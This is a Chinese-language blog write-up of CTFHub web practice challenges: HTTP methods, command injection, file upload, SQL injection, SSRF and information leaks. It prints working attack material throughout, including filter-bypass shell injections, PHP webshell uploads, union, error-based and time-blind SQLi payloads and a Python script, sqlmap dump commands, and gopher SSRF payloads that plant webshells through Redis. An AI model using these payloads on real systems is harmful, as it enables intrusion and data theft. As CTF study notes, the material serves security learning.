----------HTTP协议----------
题目:请求方式
思路一
文章图片
我们知道http请求方式中没有CTFB方式,就想到CTFHUB
使用BP抓包,将原来的数据包请求方式GET改成CTFHUB
文章图片
点击Forward,放包。得到flag.
积累
HTTP协议的八种请求方式
1、OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性
2、HEAD
向服务器索要与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应消息头中的元信息。
3、GET
向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url
4、POST
向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form
5、PUT
向指定资源位置上传其最新内容
6、DELETE
请求服务器删除Request-URL所标识的资源
7、TRACE
回显服务器收到的请求,主要用于测试或诊断
8、CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
思路二
可以用cmd自带命令curl查看http的返回消息
文章图片
相当于返回服务器返回所有信息,包含html源码,其中包含flag
文章图片
解析
curl -v(获取整个通信过程)
curl -X url(使用特定方法请求网页文本)
因为HTTP Method 是可以自定义的,并且区分大小写,直接用 CTFHUB 方法请求 index.php 即可拿到 flag。
curl使用方法
http://www.ruanyifeng.com/blog/2019/09/curl-reference.html
题目:302跳转
思路一
文章图片
点击Give me Flag
文章图片
查看源码 发现Give me Flag页面重定向到index.php
文章图片
可以通过curl直接访问index.php得到flag
思路二
抓包发到Repeater模块
301和302
302
302表示临时性重定向,访问一个url,被重定向到另一个url.
搜索引擎会抓取新的内容而保留旧的地址,因为服务器返回302,所以,搜索搜索引擎认为新的网址是暂时的。
302常用于页面跳转,比如未登陆的用户访问用户中心,则重定向到登录页面,访问404页面会重新定向到首页
301
适合永久重定向,比较常用的场景是使用域名跳转
搜索引擎在抓取新的内容的同时也将旧的网址替换为了重定向之后的网址
比如,我们访问 http://www.baidu.com 会跳转到 https://www.baidu.com,发送请求之后,就会返回301状态码,然后返回一个location,提示新的地址,浏览器就会拿着这个新的地址去访问。
注意: 301请求是可以缓存的, 即通过看status code,可以发现后面写着from cache。或者你把你的网页的名称从php修改为了html,这个过程中,也会发生永久重定向
题目:Cookie
Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息
文章图片
发送到repeater将admin改为1
文章图片
再点GO,得到flag
题目:基础认证
文章图片
先任意admin/admin输入
文章图片
文章图片
Basic表示基础认证,大概率为Base64编码
文章图片
把报文发送到Intruder,点击add,将basic后面的base64部分加上$
文章图片
加载字典
添加前缀admin 和添加base64编码
文章图片
文章图片
取消url编码勾选,不然=会变成%3d
文章图片
爆破之后会发现长度不一样的,点击查看response,拿到flag
字典真的要下好一点的
题目:响应包源代码
进入界面是一个贪吃蛇
先玩一把感受一下
之后查看源码找到flag
文章图片
当然抓包也可以
或者用curl -v -X GET来得到
反思
没有基础
知识太少
希望可以一点点的坚持积累去进步
加油
----------RCE注入----------
----------RCE注入----------
文章图片
可以看见这里没有任何限制条件,也就是说我们可以在这里模拟我们自己的Linux系统的命令行操作。
输入 |ls
文章图片
?ip
过滤cat
文章图片
很明显,这里过滤掉了cat关键字。这时候有如下几总方式可以替换cat
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的显示文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
先|ls查看目录
发现存在flag_313911065126325.php
文章图片
?ip
过滤空格
文章图片
空格过滤掉,我们得想办法用其它符号代替空格即可
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格
先 |ls查看目录
文章图片
?ip=|cat${IFS}flag_58872678825836.php
文章图片
过滤目录分隔符
文章图片
这里过滤掉 “” 和 “/”
我们可以用; ls查看目录
文章图片
进入flag_is_here 再次查看目录
?ip
过滤运算符
文章图片
这里过滤掉了 | & 运算符 直接用 ; 代替即可
文章图片
?ip=; cat flag_37062833024962.php
文章图片
综合过滤练习
方法一
文章图片
代码审计,过滤内容如下
| & ; 空格 / cat flag ctfhub
由于|&; 都被过滤了,因此只能用%0a 作为分隔符
需要注意:由于%0a是url编码,所以需要在URL中使用,否则将被二次编码
?ip=%0als
文章图片
用%09代替空格,用连接符‘’绕过对关键词cat,flag的过滤
构造?ip=%0acd%09fl’‘ag_is_here%0als
文章图片
?ip=%0acd%09fl’‘ag_is_here%0aca’‘t%09fl’'ag_166362287218721.php
文章图片
方法二
flag可以用
${IFS}fl$*ag_id_here
这样替代。%0als${IFS}fl$*ag_is_here
%0acd${IFS}fl$*ag_is_here%0aca''t${IFS}fl$*ag_166362287218721.php
eval执行
方法一
文章图片
代码显示将命令赋值给cmd然后执行
?cmd=system(“ls …/…/…/”);
文章图片
?cmd=system(“cat …/…/…/flag_30631”);
文章图片
方法二:
可以执行?cmd=system(‘ls’); 查看当前目录。
因为没有对输入进行过滤,直接连接菜刀。
在根目录发现flag文件,获得flag
文件包含
文章图片
点击shell,出现如下界面
文章图片
构造payload,往ctfhub里传参。先查看当前目录下的文件ls
这里要用单引号
文章图片
发现没有flag相关文件,查看上一级文件ls /
文章图片
发现flag信息,打开flag文件,获得flag
文章图片
当然也可以连接一剑,密码是ctfhub
php://input
文章图片
代码审计:接收一个参数file,substr的作用是返回字串。为了能够执行include语句,file参数前6位必须是php
远程包含
文章图片
查看PHPinfo文件,发现可以使用php://input
构造payload,使用?file=php://input
POST里传参:
发现存放flag的文件
然后再打开文件
当然也可以参照pikachu远程包含的做法
读取源代码
文章图片
发现不管用
先了解一个知识
文章图片
使用filter将源码通过base64回显。
Payload:
http://URL/?file=php://filter/read=convert.base64-encode/resource=../../../flag
文章图片
文章图片
----------文件上传----------
无验证
先搞一个一句话木马
因为这里是无验证,所以直接上传php
文章图片
连接蚁剑
文章图片
文章图片
前端验证
文章图片
只能上传图片
所以上传图片抓包
文章图片
把jpg改为php
文章图片
再连接就好
文件头检查
法一:
上传一句话木马jpg格式
文章图片
然后我上传一张图片png
文章图片
文章图片
把除了文件头其他的图片内容全删了,然后添加一句话木马,然后改.png为.php
文章图片
文章图片
注意那个红色的PNG不能删了
不然文件头检查就过不了
连接就好了
法二:
开始,上传一个.php后缀的文件,提交,alert()弹出一个窗口,只允许jpg,png,gif后缀提交,然后burpsuite抓包,把Content
MIME验证
方法一:
上传php
文章图片
改成jpg
文章图片
抓包修改
文章图片
连接
方法二:
也可以上传.PHP文件然后修改content-cype
在这里插入图片描述
改成image/jpeg,然后发送,在使用蚁剑连接
00截断
上传jpg
文章图片
没有出现上传文件的路径地址。
url地址栏出现了?road=/var/www/htm/ 没有返回文件的路径地址,多半是有临时文件名的存在,这就需要00截断,00截断的主要目的就是为了得到上传文件的路径地址,从而可以用蚁剑连接。
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
//首先取到上传文件的扩展名$ext
$whitelist = array("jpg", "png", "gif");
//将扩展名与白名单进行匹配,为jpg、png或gif才能通过第一次过滤
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
//扩展名匹配之后,为上传的文件构造了一个新的存储路径$des
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "";
} else {
echo "";
}
} else {
echo "文件类型不匹配";
}
}
move_uploaded_file
这个函数就是把上传文件放到d e s 的 路 径 上 并 且 改 了 文 件 名 , 而 des的路径上并且改了文件名,而des中的随机数,当前时间等无法确定,那么,在$_GET[‘road’]后面进行00截断payload:POST /?road=/var/www/html/upload/999.php%00 HTTP/1.1重新上传,这样,上传文件就被保存到了upload/999.php下。
999.jpg不要改 不然会显示文件类型不对
文章图片
直接去连接就可以了
双写后缀
我上传一个1.php%00.jpg
文章图片
发现把php给搞没了
上传1.php.php%00.jpg
文章图片
php 双写后缀后 pphph
于是我们用1.pphphp来绕过
文章图片
然后去连接就行了
下面我们看一下源码
文章图片
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
这道题会对上传文件的后缀进行检测,如果是array数组中的后缀,则会替换为空。
htaccess
htaccess文件是什么
htaccess文件是Apache服务器中的一个配置文件,他负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向,自定义404错误页面,改变文件扩展名,允许或组织特定的用户或者,目录的访问,禁止目录列表,配置默认文档等功能。
法一
根据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
文章图片
意思是将文件名中带有 3 的文件当作php文件解析。
文章图片
然后上传一句话,文件名为 3.jpg ,之后会上传成功。
http://challenge-ca10a6f74c692568.sandbox.ctfhub.com:10080/upload/3.jpg
我的蚁剑搞这个的时候出现了问题,就到这里吧
法二:
据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
AddType application/x-httpd-php .jpg
文章图片
上传 htacces文件 (将.jpg后缀的文件当作php文件解析)
文章图片
去连接就行了
----------SQL注入----------
关键字/语句/函数 解释
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符
整数型注入
1.输个1,回显有两列。
文章图片
2.判断列数
1 order by 1,2,3
文章图片
1 order by 1,2
文章图片
3.报当前的数据库,发现数据库为sqli,为什么是-1,id要等于不存在的一个数字.
-1 union select 3,database()
文章图片
4.报所有的数据库
-1 union select 3,group_concat(schema_name) from information_schema.schemata
文章图片
5.根据报出的数据库,报表名字
-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”
文章图片
6…知道了表flag,去报字段,报出flag的字段。
-1 union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”
文章图片
7.当报出字段,可以直接查询数据。
-1 union select 3,group_concat(flag) from sqli.flag
文章图片
字符型注入
1.输个1
文章图片
发现sql语句数字中我们输入的1被单引号包裹,字符型注入跟数字型注入的区别就在于引号的闭合
id=1’ and ‘1’=‘1 正常回显
id=1’ and ‘1’=‘2 返回错误
我们可以用#闭注释掉单引号,输入1’ and 1=1#,正常回显
2.判断列数
1’ order by 3#
文章图片
1’ order by 2#
文章图片
3.报当前的数据库
-1’ union select 3,database()#
文章图片
4.报当前所有的数据库
-1’ union select 3,group_concat(schema_name) from information_schema.schemata#
文章图片
5.报表名
-1’ union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”#
文章图片
6.字段名
-1’ union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”#
文章图片
7.查询数据
-1’ union select 3, group_concat(flag) from sqli.flag#
文章图片
报错注入
百度了一下报错注入,报错注入是我们通过反馈出来的错误来获取到我们所需要的信息,发现一共有十种报错注入最常用到的三种报错注入方式分别是:updatexml()、floor()、extractvalue()。
updatexml()语法:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
updatexml的报错原理:
updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据。
使用updatexml报错注入固定格式:
payload:?id=a'and(updatexml("anything",concat('~',(select语句())'~'),"anything"))
concat()函数将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出想要的数据
输个1
文章图片
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
文章图片
查数据库
1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));
文章图片
查表
1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli"),0x7e),1));
文章图片
字段
1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“flag”),0x7e),1));
文章图片
直接查数据
1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from sqli.flag),0x7e),1));
就出来了
MySQL结构
【web做题记录|CTFHUB-WEB】1.判断注入类型
输入1,有回显;输入1 and 1=1,正常回显;输入1 and 1=2, 返回错误。
文章图片
所以是数字型注入
2.判断回显点位
输入1 order by 2有回显
文章图片
-1 union select 1,2
文章图片
回显点位为1,2
3.查数据库名
-1 union select database(),2
文章图片
4.查表
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=“sqli”
文章图片
5.查字段名
-1 union select group_concat(column_name),2 from information_schema.columns where table_name=“gunqeizaat”
文章图片
6.爆值
过滤空格
绕过空格过滤的方式:
/**/、()、%0a。
我们这里就用
/**/
1/**/order/**/by/**/2
文章图片
判断回显位
1/**/union/**/select/**/1,2
文章图片
查数据库:
-1/**/union/**/select/**/database(),2
文章图片
查表:
Cookie注入
文章图片
burpsuite抓包,可以看到Cookie里面有id参数
文章图片
1.判断注入类型
id=1
文章图片
数字型
2.判断字段数
当id=1 order by 2 时回显正常,当id=1 order by 3时无回显,所以字段数为2
3.爆数据库名
id=-1 union select 1,database()
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021020320465779.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70
4.爆表名
id=-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=“sqli”
文章图片
5.爆字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“dnsehhpdvg”
文章图片
6.爆值
id=-1 union select 1,group_concat(cdciinqukz) from dnsehhpdvg
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KforYPxU-1612423099536)(https://img-blog.csdni首先检测是否有cookie注入mg.cn/2021020320531811.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70)]
sqlmap
在sqlmap中使用cookie注入,level >=2才行
首先检测是否有cookie注入
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2
存在Cookie注入
文章图片
1.查库
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 --dbs
文章图片
2.查表
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” -D sqli --tables
文章图片
3.查字段
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 -D sqli -T usrnjffgta --columns
文章图片
4.爆值
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 -D sqli -T usrnjffgta -C wbloxpuwcu --dump
文章图片
UA注入
文章图片
文章图片
语句和上面一样
sqlmap
在sqlmap中lever>=3才会去检查user-agent头是否存在注入漏洞
sqlmap.py -u “http://challenge-532573947dea4d7b.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3
1.爆数据库
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 --dbs
文章图片
2.爆表
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli --tables
文章图片
3.爆字段
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli -T llvyiyrndd --columns
4.爆值
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli -T llvyiyrndd -C mgrbaiuvpa --dump
文章图片
Refer注入
文章图片
补充Referer头
文章图片
后面和上面一样
sqlmap
伪造http请求中的referer,level>=3时,sqlmap尝试referer注入
首先检测是否有Refer注入
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3
文章图片
1.爆数据库
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 --dbs
文章图片
2.爆表
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli --tables
文章图片
3.爆字段
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli -T scghlrqxyi --columns
文章图片
4.爆值
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli -T scghlrqxyi -C vzbmlruwwt --dump
文章图片
布尔盲注
盲注的一般步骤:
文章图片
文章图片
文章图片
文章图片
文章图片
确定闭合方式:1
获取数据库名:sqlmap.py -u 环境链接 –dbs
时间盲注
和上面一题类似
脚本:
#! /usr/bin/env python
# _*_coding:utf-8 _*_
import requests
import sys
import timesession=requests.session()
url = "http://challenge-e53e5a329b0199fa.sandbox.ctfhub.com:10080/?id="
name = ""for k in range(1,10):
for i in range(1,10):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
#数据库名
payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
#表名
#payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
#字段名
#payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
start_time=time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name+=str_ascii
break
print(name)#查询字段内容
for i in range(1,50):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
start_time = time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)
----------SSRF----------
内网访问
文章图片
?url
伪协议读取文件
文章图片
根据题目的意思我们需要使用URL的伪协议去读取文件,那么我们首先要了解URL的伪协议。
URL伪协议有如下这些:
file:///
dict
端口扫描
文章图片
dict协议可以用来探测开放的端口
构造payload dict://127.0.0.1:端口号
利用burpsuite进行爆破
文章图片
文章图片
然后访问就行
URL Bypass
了解:如果传入的URL为http://a@127.0.0.1:80@baidu.com,那么进入 safe_request_url后,parse_url 取到的host其实是baidu.com,而curl取到的是127.0.0.1:80,所以检测IP时是正常的一个网站域名而实际curl请求时却构造的127.0.0.1,以此实现SSRF攻击。
文章图片
因此这个题目要求url must startwith “http://notfound.ctfhub.com”
我们直接构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
成功得到flag。
数字IP Bypass
文章图片
进入环境,尝试访问?url=127.0.0.1/flag.php
文章图片
因此尝试将ip地址转换为进制的方式进行绕过,127.0.0.1转换为16进制是0x7F000001,这样就可以成功得到flag
302跳转 Bypass
文章图片
题目出现问题,等修改好了再说
DNS重绑定 Bypass
题目出了问题,等修改好了再说
POST请求
文章图片
我们进入之后可以试试flag.php,果然存在flag.php,不过需要从127.0.0.1进行访问。我们访问一下:
文章图片
查看源码
文章图片
查看302.php,发现了可以构造url用302跳转。
文章图片
这题需要用gopher协议通过302.php的跳转去post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。
首先构造一个最基本的post请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36#特别注意此处的长度,长度不对也是不行的key=2ddf50f048c2728241fc9c1a6a2d0eac#key需要去通过127.0.0.1访问flag.php获取,也就是flag的MD5值。
首先进行一次url编码,将换行%0A改成%0D%0A
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D1de171b79f0bc7caabdd7ba6fee00c56
然后再进行2次URL编码,也就是说一共要进行三次URL编码,最后为:
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D1de171b79f0bc7caabdd7ba6fee00c56
最后使用gopher协议请求即可
?url=127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D1de171b79f0bc7caabdd7ba6fee00c56
文章图片
上传文件
提示:这次需要上传一个文件到flag.php了.我准备了个302.php可能会有用.祝你好运
使用file伪协议读取到源码?url=file:///var/www/html/flag.php
文章图片
文章图片
发现没有提交,所以要在前端添加提交
右键 edit as html 来写
文章图片
上传一个非空文件,这里我们上传了一个php
文章图片
url编码一次,把%0A换成%0D%0A,然后再url编码两次:
/?url=127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%252520328%25250D%25250ACache-Control%25253A%252520max-age%25253D0%25250D%25250AUpgrade-Insecure-Requests%25253A%2525201%25250D%25250AOrigin%25253A%252520http%25253A%25252F%25252Fchallenge-01037cbf4c653e93.sandbox.ctfhub.com%25253A10080%25250D%25250AContent-Type%25253A%252520multipart%25252Fform-data%25253B%252520boundary%25253D----WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AUser-Agent%25253A%252520Mozilla%25252F5.0%252520(Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64)%252520AppleWebKit%25252F537.36%252520(KHTML%25252C%252520like%252520Gecko)%252520Chrome%25252F85.0.4183.102%252520Safari%25252F537.36%25250D%25250AAccept%25253A%252520text%25252Fhtml%25252Capplication%25252Fxhtml%25252Bxml%25252Capplication%25252Fxml%25253Bq%25253D0.9%25252Cimage%25252Favif%25252Cimage%25252Fwebp%25252Cimage%25252Fapng%25252C*%25252F*%25253Bq%25253D0.8%25252Capplication%25252Fsigned-exchange%25253Bv%25253Db3%25253Bq%25253D0.9%25250D%25250AReferer%25253A%252520http%25253A%25252F%25252Fchallenge-01037cbf4c653e93.sandbox.ctfhub.com%25253A10080%25252F%25253Furl%25253D127.0.0.1%25252Fflag.php%25250D%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250D%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.9%25252Cen-US%25253Bq%25253D0.8%25252Cen%25253Bq%25253D0.7%25250D%25250AConnection%25253A%252520close%25250D%25250A%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522XiaoMa.php%252522%25250D%25250AContent-Type%25253A%252520application%25252Foctet-stream%25250D%25250A%25250D%25250A%25253C%25253Fphp%25250D%25250A%252540eval(%252524_POST%25255B'feng'%25255D)%25253B%25253F%25253E%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250D%25250A%25250D%25250A%2525E6%25258F%252590%2525E4%2525BA%2525A4%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs--%25250D%25250A
文章图片
FastCGI协议
文章图片
Redis协议
首先我们需要了解关于Redis的相关知识:
Redis 配置详解
浅析Redis中SSRF的利用
Redis在SSRF中的应用
文章图片
这题不是用shell反弹,而是写文件,然后进行命令执行。因此redis命令如下:
flushall
set 1 ''
config set dir /var/www/html
config set dbfilename feng.php
save
需要再经过一次url加密,这样才行。最终我的是这样:
/?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522feng%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Afeng.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
执行过之后,就写入了feng.php。这时候,如果你通过?url=127.0.0.1/feng.php进行命令执行,会有玄学问题。我不知道是不是我url的问题,反正我这里出现了玄学问题。
因此直接访问feng.php,然后就是命令执行:
http://challenge-88a3757f316234ba.sandbox.ctfhub.com:10080/feng.php?feng=system("ls /");
文章图片
http://challenge-88a3757f316234ba.sandbox.ctfhub.com:10080/feng.php?feng=system("cat /flag_6fb66dcb5b32fff57ef6f5bf213f12e5");
文章图片
----------信息泄露前半部分----------
目录遍历
文章图片
文章图片
点得去找就可以找到一个flag.txt
PHPINFO
点击进去找到flag
文章图片
当然也可以ctrl+f查找
文章图片
备份文件下载
网站源码
文章图片
大概猜测到是要我们解压压缩包,通过和下面的网站源码备份文件名搭配寻找flag,前两个是linux里的命令,然后我使用的是zip
一个个去试
文章图片
文章图片
文章图片
文章图片
bak文件
文章图片
这句话里提到了index.php 而且题目也说了 bak,于是就想到了php的备份文件 后缀就是以bak结尾的,于是尝试一下去看看
文章图片
文章图片
vim缓存
vim会自动生成备份文件和临时文件,如果程序正常退出,临时文件会自动删除,如果意外退出就会保存,文件名为.filename.swp(第一次产生文件的后缀名为.swp; 再次意外退出产生文件的后缀名为.swo; 第三次产生的后缀名为.swn)
文章图片
在地址栏加上**/.index.php.swp**(不知道为什么我这里要多加一点),将文件保存下来
文章图片
将保存的文件用notepad++打开就可以得到flag了
文章图片
.DS_Store
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
文章图片
下载到一个文件
文章图片
在源码后面添加,得到flag
文章图片
推荐阅读
- web|39(WEB漏洞-XXE&XML之利用检测绕过全解)
- 工具|burpsuite无法捕捉localhost包的解决方法
- #|CTFweb相关靶场推荐与环境配置
- web|HW蓝队面试题(初级)
- 技术干货|你知道几种前端动画的实现方式()
- javaweb|TYUT太原理工大学2022javaweb选择、判断、填空题库
- web|不要再说找不到前端项目练手了!
- Python Web将冠状病毒数据收集到MS Excel中
- Selenium Python中的Web驱动程序方法